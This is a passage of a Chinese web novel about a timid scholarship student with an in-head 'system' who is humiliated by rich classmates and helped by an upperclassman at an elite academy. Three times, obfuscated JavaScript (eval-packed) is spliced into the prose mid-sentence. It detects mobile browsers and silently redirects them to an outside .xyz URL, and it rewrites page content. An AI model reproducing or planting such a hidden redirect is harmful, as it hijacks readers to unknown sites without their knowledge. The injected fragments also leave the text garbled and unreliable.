一有动静温绒闷头就朝灌木里钻。 后脖颈一热,有人先一步把他拎了起来。 温绒被迫踮起脚尖,只模糊瞄到一眼对方头顶的灰发,立刻闭眼大喊:“对不起!” 时野:“……” 苍白小脸上五官挤得像包子,眼睛更是闭得死紧,拿撬棍都不一定撬得开。 时野刚张嘴想骂一句怂货,看到这个特招生紧紧抿起的唇——因为长时间没有摄入水分,淡粉色的唇起了稍硬的壳,嘴巴一抿就裂出小缝,血丝从里面流出。 太寒碜了。 他忽然觉得很没意思,这样一个单手就能拎起来的废物,吃饭都吃不了多少,花时间在他身上还不如打场球。 时野松手,“滚。” 发抖的身体啪叽坐到地上。 时野不禁冷笑,真蠢,站都站不稳。 他偏过头继续晨跑。 “那个……” 时野好奇窝囊的特招生有什么胆子喊自己,停下脚步回头问:“干嘛?” 特招生从地上爬起来,犹豫着开口:“我的……我的内裤可不可以还我。” “?” “就是内裤……” 时野:“……” 他定在原地,锐利的目光逐渐涣散,如他此刻的大脑,空白一片。 好像昨天下午那幕尴尬画面再次发生——并不柔软的布料摩擦掌心,有痛的感觉,还留下诡异的香气,用七八种洗手液都去不掉。 心烦意乱,只能倒床上企图一睡了之,可都快睡着了,手无意间搭上脸,直接被香气吓醒。 只好把手压在枕头下物理隔绝,然而凌晨睁开眼,呼吸到的第一口气全是香味。 这个罪魁祸首还敢提内裤,竟然敢提! “对、对不起。我……我……”温绒见势不对从地上爬起来,朝着宿舍楼的方向要跑。 时野腿长,两三步追上,长臂一伸,勾着他的脖子把人捞回,“对不起有用吗?” “对、对不起。” 又矮又怂的特招生还是个白斩鸡,皮肤惨白,眼眶周围随时随地都是红红的,只会哭。 时野把人甩开,“动不动就哭,烦不烦。” “一条穿过的内裤找我要干嘛?自己不会买新的?” “不是,你这个人内裤穿过了不丢吗?为什么还带在身上。” “我……我……” “扭扭捏捏的,你天生结巴还是脑子有病。” 温绒扁着嘴巴不敢说话。 时野:“说话啊。” “……” “你是什么眼神,我没故意拿你内裤,我又不是变态。” “……” “艹!你说句话——” 温绒苍白的小脸绷得紧紧的,嘴巴张了好几次,终于忍无可忍:“你就是抢我的内裤还不还我!” 但这样的气势维持时间还不到两秒,立马又耸起肩膀,低头鞠躬,“对、对不起。” “……” “……” “……” 时野:“……” 算了。 跟窝囊废纠缠没意思。 而且这白斩鸡张口闭口就是内裤,再让人看见,指不定黒鸽论坛里又要乱传。 时野转头就走。 没走几步,风一吹,淡淡的香气又冲回鼻子。 他不禁抬手凑到鼻尖,果然更加浓烈。 无名火上窜。 那窝囊废故意的!如果一开始就说那条内裤被穿过,自己根本不会摸到内裤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769214|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金尊玉贵的大少爷过去十多年里内裤穿过就扔,连自己的脏内裤都没碰过,一想到自己在公开场合捏着别人穿过的内裤闻,现在还去不掉那味儿,心里就滋生出疯狂的念头。 他要那怂货跪下给自己擦手擦到再也没有这个味道。 不,只擦手太便宜窝囊废了,要让他给自己洗内裤,必须是穿过的内裤。 然而做完心理建设的大少爷一转过身——背后空空如也,矮不拉几的窝囊废不知道什么时候已经跑得不见人影。 呵,敢跑? 时野扯了扯嘴角,摸手机拨出一通电话。 * 咚咚咚 “请进。” 咔嚓。 打扮时尚的女记者推门进来,向办公室内的西装男递出精美盒子,“您好,我是《VO》的记者,来送九月份的杂志。” 西装男接过盒子打开——花了上百万才在无人区找到的特殊涂料抹在封面上,能完美模仿出时野举起奖杯那一刻的阳光。 西装男的眼睛都被闪烁得眯了起来。 时间仿佛倒回几个月前,17岁的时野在网球公开赛上夺冠,积分跃至世界第一,成为全球最受瞩目的网球天才。 “寄过来就行,不用特地跑一趟。” “其实也是沾着给您送杂志的光来参观弗罗里曼学院。” 西装男不搭话,记者继续说:“听说学院在时野入学前特地建造了一个超豪华的网球场,不知道有没有机会见识网球天才训练时的样子。” 西装男还是不回答,他冷漠的目光让记者感到压力,不禁思考自己的请求是不是过于冒昧。 可是作为记者,无时无刻都要有主动争取的精神。 记者想了想,换个角度说:“我听说时野在数学方面也很有天赋。新闻报道弗罗里曼学院今年有一名非常有数学天赋的特招生,不知道两人会不会成为朋友。” “特招生么……”西装男嘴角拉出一抹轻蔑的笑,“跟我来。” 西装男起身,示意记者拉开办公室的门,领头走出办公室。 两人一齐走过这栋办公楼的廊道。 等电梯的间隙,正好可以看到远方极具现代风格的四层建筑物。 有穿着黑色制服的学生走进别墅,或者留在院子里玩儿,佣人整齐站成一排,随时听候安排。 西装男嘲讽的声音传入耳朵,“你猜,特招生有资格进入那里吗?” 记者略微皱眉。 “时野参加公开赛只是因为弗罗里曼学院的两条校规。第一条:学生必须住进学校宿舍,不允许带外人入校。第二条:学校会全力支持有天赋有才华的学生,提供任何学生所需要的资源。” “学校向时野提供了一块地。一小半建网球场,另外一大半建了那栋别墅,管家佣人全部以训练队的名义合理进入学院。” 记者:“这样是否有违校规的初衷?” “有实力利用规则的人不会问出这种蠢问题。” 记者勉强露出一抹笑容,“您说的是,受教了。” “所以看出来了么,你跟那个特招生一样,只是来这所学院走马观花,你无法成为这里真正的学生,那个特招生也不会。” 记者艰难维持笑容,“……” “更不要说跟时野这样的天才做朋友。” 西装男继续说:“记者你会跟弱智做朋友吗?” 记者的笑容僵在脸上。 5. 第 5 章 西装男维持着绅士模样继续往前走,仿佛刚才的对话从来没有发生过。 一米之外,记者每一步都小心翼翼,她觉得自己好像踩在弹簧上,这片土地正努力地“弹”走她。 终于走到别墅门口,学生们的玩闹地盘从草坪转移到前去正大门的路上。 西装男进入大门的瞬间,学生纷纷回头,停下玩闹,恭敬让路。 记者知道,弗罗里曼学院里的老师无非两种,一种通过校长跟董事的考核进入学校入职,另一种则是在行业内展示出优异的成绩,由校方邀请免试入职。 很显然,时野是西装男的成绩,这份成绩不仅让他进入这所世界顶级学府,还得到这些贵族学生们的尊重。 记者心里有自己的判断,一个借风起势的教练都这么高傲,本尊大抵不是好相处的。 别墅一楼如她所料,稀稀拉拉放着并不常见的器材,记者不知道那是做什么用的,但认识夹在其中的扳手钳子螺丝,还有一辆红色的法拉利,像被改装过。 另一边突出一块正方形的台子,四角安装角柱,手臂粗的围绳缠绕好几圈,是拳击的比赛场地。 又是改车又是拳击,一看就很有个性。 “那个窝囊废呢?” 记者听出时野的声音。 声音的来源处,天花板拉出一根锁链,下面吊着巨大沙袋。 砰砰砰砰 时野正光着膀子打沙袋。 浑身肌肉膨胀发热,皮肤表面覆盖一层薄汗。 记者心道不愧是运动健将,一米九几的傲人身高比例惊人,手长腿长,堪比模特。 “咳咳”西装男手挡在嘴前咳嗽两声吸引注意力。 时野收手,回头时眉头紧拧,带着戾气。 但目光很快从西装男身上转移到记者,那抹戾气瞬间压下去,沉默转身,从架子上抓件黑色背心迅速套上。 “什么事。” 西装男:“《VO》的记者想采访一下你。” “不是已经采访过了?” 记者主动道,“是我想单独采访一下时少爷,不知道方不方便。” “叫我时野就行。” 记者扯了扯嘴角,“时先生方便吗?” “不好意思,学业比较繁忙,抽不出时间。王西杰你带记者吃顿饭,送她回家。”时野吩咐完便不再管他俩,偏头问身边的齐元,“莱昂也没来吗?” “莱昂学长今早要带新生参观校园……不过他说已经找到一个愿意卖内裤的校工。” 时野再次拧眉,“校工?” 齐元轻咳两声,变换成慵懒轻佻的声线,“莱昂学长说:没兴趣看人洗内裤,我找校工给你送条内裤过去。别太着急,人家没车,大概走半个小时才能到。” “……”沉默了下,“那个窝囊废呢?什么时候把他带过来。” 齐元面色微变,“没在宿舍,其他人在找了。” * 四十分钟前 温绒早上遇到灰发锁喉男后精神一度处于紧绷状态。进到食堂看到里面有一群穿运动服的人,不敢再往里走,在门边找阿姨要了一个热乎东西出来躲着吃完。 本来想问问系统图书馆在哪,手机里收到群消息,莱昂学长让所有新生宿舍楼下集合,今早要带大家参观校园。 温绒回到宿舍楼下,直挺挺地站在门边,像个门卫。 “那谁。” 他一听到声音,立即往宿舍楼大门的方向倾斜身体,预备要跑。 偏偏喊他的人就站在宿舍楼大门口。 这是温绒第一次仔细看弗罗里曼学院的校服。形似西装,深黑色羊毛面料,枪驳领,胸前排布六粒金色双排扣,扣子表面雕刻着弗罗里曼学院的校徽。 是非常好看的衣服,把身形修得又长又瘦,让温绒想起商场橱柜里的人形模特。 温绒不敢抬头看对方的脸,视线稍低,看向左胸牌。 文字很长:莱昂·冯·勒文斯坦。 心中顿时一喜。 对方抢先一步开口:“校工?” “不——”温绒反驳的同时无意间抬头,顿时失语。 活的外国人!金色头发,蓝眼睛,长得跟他在电视上看到的外国人一模一样。 好好看! 【莱昂·冯·勒文斯坦,F4之一,家族世代经营精密仪器制造。】 【告诉他你不是校工。】 系统的提醒将温绒从第一次见到外国人的震惊中拉回神。 “他是F4,知道我是特招生的话会不会欺负我。” 【他迟早会知道的。】 昨天乃至今天所有不好的记忆全部涌上脑子,温绒想不到以后了,他只想立刻马上避免面前的困难。 于是违背系统,迟疑地小幅度点头。 “内裤卖吗?” “什么?” “你的内裤,卖吗?” 温绒顿时面色煞白,慌张后退一大步。 莱昂懒懒地打了个哈欠,慢悠悠解释,“我不是变态。有个变态托我给他找条穿过的内裤。你内裤卖我,人民币一万。” 温绒无法理解内裤跟一万块钱怎么能划等号,“请问你是诈骗吗?” “谁诈骗才骗一万?” “……” “卖吗?” 天上掉钱了!掉在他这个穷困潦倒的人身上。 一万块可以买很多东西,至少他不用去找那个灰发锁喉男要回内裤。 可是,穿过内裤真的可以卖吗? 温绒的左右摇摆并没有持续多久,被粗壮手臂勾住脖子的恐惧再次漫上心头,浑身一哆嗦。 他肯定不敢去找灰发锁喉男要内裤。 于是点头,“请你在这里等我几分钟,我马上拿来给你。” “你是笨蛋吗?我刚说了我不是变态,我不拿别人内裤。”莱昂慢条斯理的从裤子口袋里摸出一个小本本,又抽出支笔,“我再给你加1万,把这条内裤送到网球场旁边的别墅去。” “可我还要跟你——” “5万?”他停下书写动作,笔尖在小本子上点了点。 “5、5万?!” 滋啦 莱昂撕掉写好的纸递到温绒手里,“拿这张纸去校门口的银行兑钱。我先给你付两万五,剩下两万五你找收内裤的人要。” 纸条内容正式:¥25,000.00(大写:贰万伍千元整),莱昂·冯·勒文斯坦。 温绒怎么看都觉得不靠谱,在心里询问系统:“哥哥,这个真能拿到钱吗?” 【可以。】 温绒绝对信任系统,于是点头,“好的学长。” 他拔腿就跑。 现在还早,跑着过去再跑着回来应该能赶上跟莱昂学长参观校园。 动身时温绒还很天真,不知道一所聚集无数继承人的贵族学院可以大到什么程度。 跑了二十分钟依然没看到网球场后,温绒双腿发软,忍不住问:“呼哈呼哈,为什么我跑了那么久还没到。” 【因为你的跑速跟别人的走速没有区别,以目前的速度,10分钟后可以到达。】 他跑到路边上摸出手机看时间,“要来不及跟学长去参观学校了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769215|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我是不是做错了,我不该卖掉我的内裤……” 【有钱不赚王八蛋,更何况你是穷光蛋。】 对,他是穷光蛋。 温绒心里的负罪感减轻许多,把手机收好,两条腿更卖力往网球场跑去。 【到了,看见面前这栋大别墅了吗?】 看见了! 【就是这儿。】 温绒毫不犹豫地奔着两万五进去。 【等等——】 系统一直都是平缓的AI声音,但这一声呼喊,音量仿佛开到了最高,温绒意外能感受到了其中的紧迫。 可他根本反应不及。 两条腿踏入别墅大门的瞬间,乌泱泱的人群纷纷回头。 宛如最后一道海潮迎面盖下,击碎喧嚣,归入可怕的死寂。 “……” “……” “……” 【接取任务二】系统声音恢复正常。 【任务流程:记恨内裤之仇的时野决定让你当众给他洗内裤。】 【任务目标:给时野洗内裤。】 【宿主,你触发任务了。】 ………… 我我我这么倒霉吗? 温绒转身想跑,然而大门不知道什么时候砌起“黑色高墙”。 墙里伸出无数双手推在他肩膀上,导致温绒节节败退。 忽然,那无数只手中有一只爆发出巨大的力气,温绒被迫转了半圈,混乱之中扫到可怕的灰色。 他心神不定,跑了一路又腿软,那只力气奇大的手在后背用力一推,左脚踩到后脚,啪叽——摔在地上。 膝盖先着地,撞出可怕的声响。 温绒感觉自己被撕裂了,喉咙不受控制发出一声剧烈抽泣,本能地抱住膝盖蜷缩成一团。 “不是吧?这就摔了?” “喂,给你脸了?轻轻推一下就倒地上碰瓷,你要找律师起诉我吗?请得起——” “都给我滚!” 一道吼声忽然响彻别墅,四周再次陷入死寂。 时野抹一把脸,扭头吩咐管家:“把人清了,叫医生现在过来。” 从他这个角度刚好可以看到温绒惨白惨白的脸,眼泪跟冷汗糊成一团,眼睛跟嘴巴用力死死闭紧,痛得要死。 时野承认自己想让这个窝囊废尝一下抓着别人内裤的滋味,但不代表想让他负伤。 时野双手抱胸,“能站起来吗?” 窝囊废跟小狗一样猛猛点头,两手撑地站起来。 时野颇感意外。 这个窝囊废永远勾着背,头埋得极低,刚见面就趴地上抱头,明明就是个怂货,现在负伤了反倒不赖在地上哭唧唧。 既然负伤,就不罚他当众洗内裤了,等所有人走后让他去洗衣房用手搓。 等会儿—— 时野意识到很严重的问题:莱昂找的校工怎么还没来。 校工不过来,他到哪去找穿过的内裤? 总不可能把自己的丢给窝囊废洗吧?一个窝囊废凭什么碰自己的内裤。 时野烦躁地从桌上拿过瓶水,余光看着其他学生一动不动,眸子斜过去,“还不滚?” 众人纷纷背过身朝外跑。 这时,窝囊废的头顶缓缓上浮。 厚重刘海下的小脸又白又红,眼睛一圈被眼泪浸得水光盈盈。 他颤颤巍巍从裤子口袋里捧起一包东西。 “这、这是穿过的内裤。莱昂学长说别墅里的人要买,他付了定金两万五,还剩两万五尾款。” “是找……找你要吗?” 6. 第 6 章 “王教练,弗罗里曼学院学生都喜欢买特招生穿过的内裤吗?” 从别墅出来后,记者嘴角一勾,刻意询问面色铁青的王西杰。 王西杰:“……” 记者:“您放心,这件事我会保密的。” “……” “谢谢王教练带我见识天才,果然是我这个平凡人无法想象的……变态。” 王西杰压了压怒气,“我送你回去。” “谢过王教练的好意,我晚上有约会,不方便跟您一块走。” 记者朝王西杰挥了挥手,踩着高跟鞋稳稳往前,将他甩在身后。 * 因为“讨要尾款”的场面太尴尬,堪比昨天的手捏内裤。有人偷偷往门外溜。 第一个出去了,第二个跟着,第三个…… 温绒弓着背预备一块溜出去,时野在身后咬牙低呵,“你敢跑?” 温绒定住身体。 对开的两扇大门在他面前无情合上。 脚步声传来,温绒吓得忘记门已经关了,跛着脚急切前冲,脑门直接门上撞。 砰 “喂你——” 声音几乎贴着耳朵响,他战术性往地上一缩,“对不起对不起对不起。” 艹! 我做什么了? 时野缠在手上的护带绷得死紧,抖动着伸向地上的温绒,最终拳头停在后脑勺的上方。 缩成一小团的样子看起来过于可怜,欺负这么个怂货,时野觉得自己就是个孬种。 于是收回手烦躁地搓头发,“起来!被人看见还以为我对你做了什么。” “对不起对不起对不起对不起。” “我让你起来!你为什么一见到我就缩在地上?” “对不起对不起。” “地板是你妈啊?这么爱。” 地上的白斩鸡肩膀剧烈一抖,纹丝不动。 时野暴怒,“我叫你起来!” “我没有妈。” “……” “……” “……” 空气沉默。 时野眉间皱起的纹路比几分钟前更深。 “少爷,医生来了。”管家打破这沉静。 时野抬手抹一把脸,“叫他去楼上准备好东西等我。” 说完双手插进兜里,准备自己先上楼让管家把温绒弄上去,可低头看到温绒撅着屁股趴在地上。 很瘦很小的一个人,两只手用力护住头,没多余的手来拉住不断往前冲的衣摆,后腰露出截肉,白得像玉,但被牛仔裤的松紧带勒了许久,有一片红色印记。 时野意识到自己在看什么后仓促别开脸,抬脚踢窝囊废的屁股,“喂,医生给你看完膝盖再走。” 窝囊废把屁股小心撅到另一边,“不、不用。” “必须!你在我的地盘上被人推倒,万一瘸了锯腿戴假肢了别人都会说是我害的,我冤不冤?刚刚还有记者在,你不知道记者最爱乱写这些东西了?” 蚊子声:“你给我两万五就好。” 时野喉头一卡。 怒火再次上涌,“你再敢提两万五——” “呵,内裤,内裤!” 时野脸上表情变幻莫测,几次倒吸气要开口,又看到窝囊废撅个屁股趴在地上发抖,只能无奈地对着空气挥拳。 磨磨蹭蹭到管家来说医生已经准备好了,时野用力搓脸,转身扶着膝盖半蹲下,“你上来,我背你上去。” “我不——” 时野打断他,“闭嘴!我让你干什么就干什么。上来。” “……” “赶快。” “……我可不可以自己走。” 时野最烦扭扭捏捏的人,心里烧得猛烈的火气频频从鼻间喷出,声量拔高:“上——来——” 温绒低着头:“@#%$。” “说的什么?大声点。” 蚊子声:“我没有%$。” 时野不得不把耳朵凑过去,“你说什么?” 温绒窘迫的后倾身体躲开,他用力捏了捏拳头,继续嗡嗡嗡:“我没有穿内裤。” 时野的呼吸停止了。 嗡嗡嗡:“莱昂学长说要买穿过的内裤我就脱了……我不是故意的,我只有两条内裤,另外一条被你拿走了。” “……” “你没还我。” 温绒嗓子都被黏住,发出的声音黏糊糊的,像快哭了, 时野:“……” 时野:艹! 这个窝囊废为什么每次都让人这么尴尬? 不就是一条内裤吗,不就是内裤!他到底要反复念叨这件事多久? 那内裤是我故意要拿的吗?但凡早点说是穿过的,我死都不会碰一下! 不是,真有人两条内裤换着穿吗? 他直起身,回头来目光恰恰落在温绒的衣服上,穿得太久的白t表面浮着一层毛,质感很差,看起来硬邦邦的,领口位置蜿蜒得像拉力赛赛段。 而且这件白t年岁太久,穿在温绒这么矮的人身上都短,甚至盖不住牛仔裤拉链,经过多年的揉搓使用,锯齿并不平整。 拉链后面是空的。 空的…… 被变形的锯齿刮着不痛吗?! 幸好这怂货有自知之明没有爬上来,要不他空荡荡地贴在自己后背,那画面…… 艹! 那怎么有人敢空荡荡的到处跑? 艹! 后背差点就脏了。 “少爷,我让人拿来了担架。” 管家的及时插入让时野暂时控制住情绪。 时野抬手摁在脑门上,深吸口气,“把他抬上去。” 他开始搞不明白自己针对这个窝囊废干什么。 明明是自己一直在倒霉。 而且窝囊废还没有……妈。 时野定在原地“啧”了一声,手顺着发根后拨,额前的刘海全部都被掀翻。 一头灰发像经受台风摧残的麦田,东歪西倒不成形状。 落地窗外,穿着制服的新生在学长带领下路过网球场。 时野脑子里有根线骤然搭上。 那个窝囊废怎么没跟新生在一块儿。 “少爷,莱昂少爷来了电话。” 时野停止思考,接过手机便骂:“看看你做的破事!” 那边懒洋洋的,“好了,我这通电话是跟你要人的。特招生洗完内裤了吗?洗完快把人放回来,我要带一年级的小笨蛋们参观监狱。” “别提内裤!” “脾气这么爆,难道你见不得人家给校工洗内裤?”莱昂打了个哈欠,“所以新闻报的记者猜得不错,你找人家麻烦不是气人家把你爸的小情人跟私生子救了上来,而是觊觎他的屁股。” “放屁!我觊觎男的屁股干什么?”时野几乎要跳起来,“你竟然敢说那是校工?!” “嘶——惹你生气的不是特招生啊?校工没有送到吗?真是人心不古,轮到我被诈骗了。” 时野舌头发抖:“你找来的校工就是特招生。” “怎么可能,他又没穿校服。” “鬼知道他为什么没穿。” 时野吐出一口气,憋了一早上的气仿佛终于找到个合理的发泄口,正准备继续骂几句,对面打了个哈欠。 “事已至此,尾款还有两万五,记得给他。” 电话挂断。 “嘟——嘟——” 时野:艹! 他对着空气使劲两下拳头,拨回莱昂的电话,接通便吼:“把人带走,现在!” “那不行,万一新闻报的人写咱俩看上同一个屁股怎么办。” 时野一拳打到墙上,“你来不来——” “来来来。” * 二楼 医生给温绒看完腿后就走了,留温绒规规矩矩坐在原地,两只细白的胳臂紧紧撑着膝盖,柔软的沙发加剧身体抖动。 “哥哥,我、我要怎么办,那个灰头发好像很生气,他会揍死我吗?” 【目前为止时野还没有对宿主使用过暴力,以后应该也不会。】 温绒暗戳戳指责,“他昨天踢我屁股,今天锁喉我。” 一阵缓慢的脚步声从身后传来。 温绒惊恐回头,意外看见金色头发,连忙站起,“学、学长好。” 莱昂学长是F4之一,他有点怕他,目光慢慢慢慢就挪到地上。 “你怎么没穿校服。” “对不起,我早上才买,校服还没到。” “就算是这样,我问你的时候你也该……”顿了下,莱昂吐口气,“算了,你一看就是笨蛋堆里鹤立鸡群的小笨蛋,不能对你报太大希望。跟我来,带你去参观校园。” 温绒震惊,“参观校园?” “对,学长就是这么认真负责的大好人,身为小班,必须保证每个新生都了解校园。”莱昂转身下楼,“现在拿上你的东西跟我来。” “我我我们直接走吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769216|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不走你还想留下吃饭吗?” 他喜出望外。 对此时的温绒来说,安全离开别墅就是天大的幸事。 像末世里成功从丧尸群逃脱的人,温绒小心又喜悦地猫着腰下楼,确定灰色头发没有在附近,逃似的冲到门口。 目光触及红色跑车的瞬间,脑子冒出灰发锁喉男,两只手下意识向后一抓,抓到个东西就迫不及待地逮着身体重新躲回去。 嘭 空气里响起沉重又轻微的一声碰撞。 温绒的眼镜向下一滑,跟口罩似得挂在嘴上。 他连忙伸手去扶,后脖颈忽然传来凉意,惊得两边肩膀耸立起来。 “学弟,你像跟人偷情的奸夫。” 听到莱昂学长的声音,温绒叫嚣着“救命”的脑子骤然恢复平静。 幸好不是那个灰色头发满身肌肉的锁喉酷哥。 “对、对不起。” “你怎么这么喜欢说对不起。” “我……”温绒回答不上来。 “算了。”莱昂松开他,径直走向红色跑车。 莱昂很高,车身才到他大腿的位置,要弯腰才能碰到副驾驶的门把手。 车门打开,旋转着向天。 温绒目瞪口呆。 “愣着干什么,过来。” 这车我我我能坐吗? 本来身体被惊得无法动弹,忽然听到身后有脚步声,什么都不敢想了,风一样冲进车里,身体望别墅的反方向倾斜,脸更是不敢朝那个方向看。 啪—— 车门合上,莱昂学长走到驾驶座。 “钥匙。” 低沉恐怖的声音从远方传来。 “乖学弟这个时候应该给学长送钥匙过来。”莱昂嘴上这么说,却举起了手。 时野侧过身,腿向后迈开半步,高举右手,左手作出“抛”的预备动作。 下一秒,他从地上弹起,红色的东西脱手而出,在空中画出一道抛物线。 金属表面折射阳光,在温绒眼前一晃而过。 温绒不适地眨了下眼睛,偶然抓住一条从肋骨流入系带运动裤的线,线连着堆叠的块,像福利院后山的田野。 啪嗒 钥匙精准落在莱昂学长手里。 温绒低头看向自己的肚子。 很自卑。 “发什么呆?” 莱昂学长坐进驾驶座。 温绒自卑摇头。 轰—— 跑车发动,风掀开他的刘海。 “学弟,这边是咱们学校的新网球场,是个享受青春汗水竞技的好地方,你以后可以参加新网球社跟同龄人一起锻炼身体。记得,是新网球社。” 温绒张嘴吃到满嘴的风,“好、好的学长。” 别墅旁边有一片草坪,连着湖,湖水平静,被阳光照得跟块铜镜似得。 过了别墅,出现一栋哥特风教堂。整体建筑又细又长,墙面又黑又灰,好像炭笔画出来的。 如果不是亲眼所见,温绒不敢相信现实世界存在这样的东西。 再远一些,有望不到尽头的玉米田、成片的绵羊群……学长说那些都是研究农学方向的学生弄的,弗罗里曼学院里什么行业都有一席之地。 一个小时后,车在宿舍楼下停下。 阳光比早上更加刺眼,灰褐色的地面照得跟湖一样明亮。 直到头顶被晒得发烫,莱昂才反应过来温绒一直没下车,回头想问问这笨蛋在发什么呆,恍然看见小笨蛋下巴仰得高高的,正专注望着什么东西。 从这个角度看去,侧脸秀气清雅,干干净净的,很乖。 “学长!怎么不走了。” 还很呆。 莱昂在心里补充。 他抬手往温绒脑袋上轻轻一弹,“到你宿舍了。” 呆呆的脸上露出呆呆的表情,半晌,迅速跳下车,“对、对不起学长。” 又几秒,手足无措地鞠躬,“谢谢学长带我参观校园!” 莱昂摆手,“好了好了,去休息吧。” 这一趟逛校园,温绒仿佛去旅游了一样开心。 这是他平生第一次旅游。 看到好多好多奇妙的东西。 还有漂亮景色。 舒适的风还残留在身体里,手里的袋子前后摇摆,一只腿蹦一米八的步子,一只腿迈一米七的步子,嘴边不禁哼出《小星星》。 他有点喜欢这所学校了,想在这里好好读书! 7. 第 7 章 一阵暖风从宿舍走廊尽头吹来。 温绒的刘海都被吹开,皮肤上残留着被太阳晒一小时的粉色痕迹。 咔嚓 他打开宿舍门,像是舞蹈演员高调登场,已经准备好在属于自己的宿舍里表演一场。 ——刺鼻的味道冲入鼻腔。 白色床铺上一片血红。 浓稠的液体顺着被角滴落,蔓延至书桌。 时间被无限拉长,那阵风绕了一圈再次吹回凝滞的小脸上。 温绒眼眸轻垂着,睫毛拉出长长的影子。 风又把消息带到远处,一群刚回来的学生捏着鼻子走近,“什么味儿啊?好臭。” “woc特招生杀人了?” “蠢货,那是油漆。” 正巧两撇胡子带着工人上楼给其他学生维修,闻到这味道还以为是哪个搞艺术的学生不小心打翻了油漆桶,走近看见温绒,胡子被吹飞起来,“你的床怎么回事?” 温绒的身体僵着,过好几秒,脑袋无力垂下,“老师,有人往我床上泼了油漆。” “烦死了,一天天的给我找事儿,你为什么往自己床上泼油漆?” 温绒思索自己刚刚的话,确认自己没说错,又重复一遍,“老师,是有人往我床上泼了油漆。” “不可能!”两撇胡子的嗓门更大,“谁有空往你床上泼油漆,你们特招生每次闯祸都装可怜,其实最坏的就是你们。” “我们——” 两撇胡子打断他,“学校那么多学生怎么就你们被针对,也不找找自己的原因!” 周遭哄笑:“谁没事往他床上泼油漆啊,神经。”“就他自己有房间钥匙,自导自演什么?” 混乱侵入耳朵,过去的记忆碎片穿越时空来的此时的温绒身边。 莫名的指责、偏见都像耳光一样扇在脸上。 他反而变得更加镇定。 每次被欺负的情形花样百出,但最终结果永远都是一致的,他很熟悉,也很熟练。 温绒摸出手机,“我要报警。” “你报!让我看看你想赖到谁头上。” “喂,你好,请问是警——” 手腕忽然被往上提。 一只很大的手牢牢扣住温绒,竖起食指在手机屏幕中间红色的按钮上轻轻一点,电话挂断。 “他确实没必要往自己床上泼油漆,而且一上午都在时野那里,也没时间往床上泼油漆。”莱昂不知道什么时候出现在了温绒身后。 他松开温绒,懒洋洋地活动脖子,“山口老师,时野那肌肉发达的傻样儿你也知道,尽会折腾人,弄到现在才把我们小笨蛋放回来。” “你看我们小笨蛋,站都站不住。” 温绒下意识反驳,“我没——” 莱昂打断他,“给时野点面子别解释,你要不出点事儿说明他不行,男人不行很伤自尊。” 说完,抬手在山口老师面前打个响指,“山口老师,别用你贫瘠的知识想象画面了。真让警察进学校对谁都不好,捡起你为人师长的责任与尊严、权利与义务,赶紧解决这件事。” 山口介平如梦初醒,“我我我我去查监控?” “真聪明,老师你正第二次开智,快抓住所剩无几的光阴去实行吧。” 山口介平甚至都没反应过来话里的讽刺意味就一溜烟冲下楼。 温绒在心里悄悄问系统:“哥哥,学长真的是F4吗?他好像是好人。” 系统:【……】 宿主你是不是太迟钝了点? 他在造你h谣! 莱昂·冯·勒文斯坦,书中设定:毒舌下流又坏心眼,每天24个小时,12个小时戏弄人,6个小时阴阳怪气,睡6个小时,大概率做春梦。 他能是好人? 两撇胡子一走,围观的同学们全部挤上前,摸出手机卡擦卡擦拍照,嘴里好奇着谁泼了那么多油漆,越来越激动,有要冲进温绒房间里的趋势。 莱昂拍拍手,“小笨蛋们,拍照就拍照,别破坏现场。万一警察找不到凶手只能往关系网上一查,诶哟不得了,咱们特招生在学校里只跟时野结过怨,那时野第一嫌疑人的名头是跑不掉了。再万一因为谁动了现场导致找不出真正的凶手,时野绝对拎着网球拍杀穿这栋楼。” 众人齐唰唰后退、退散,速度之快,好像怕沾上什么脏东西。 温绒望着这奇异的画面,眼里的感动几乎要化成眼泪掉出来。 他从来没想过,那个在他差点挨打时会出现的人,开车带他兜风,被污蔑的时候帮他说话的人,不是爸爸,而是学长。 忍不住哽咽,给莱昂深深鞠躬:“谢谢学长。” “别客气。你对我太客气会让我不好意思发脾气。” “真的非常谢谢。” 他发誓,一定牢牢记住学长的好,以后有机会报答他。 “好了。” 温绒后脑勺被拍了一下。 “先害我在时野那里挨骂,又害我浪费一个小时带你逛校园,现在闹出个泼油漆的大事,我第一次想要给社会做贡献怎么就这么不太平,你命里克我吧,小笨蛋。” 温绒身体陡然一僵。 害…… 克学长…… 念清楚这两个字的瞬间,他像被灰发锁喉男勒住了脖子,呼吸带着抽痛。 原来学长带自己兜风,帮自己说话,其实并不是出于本意吗? 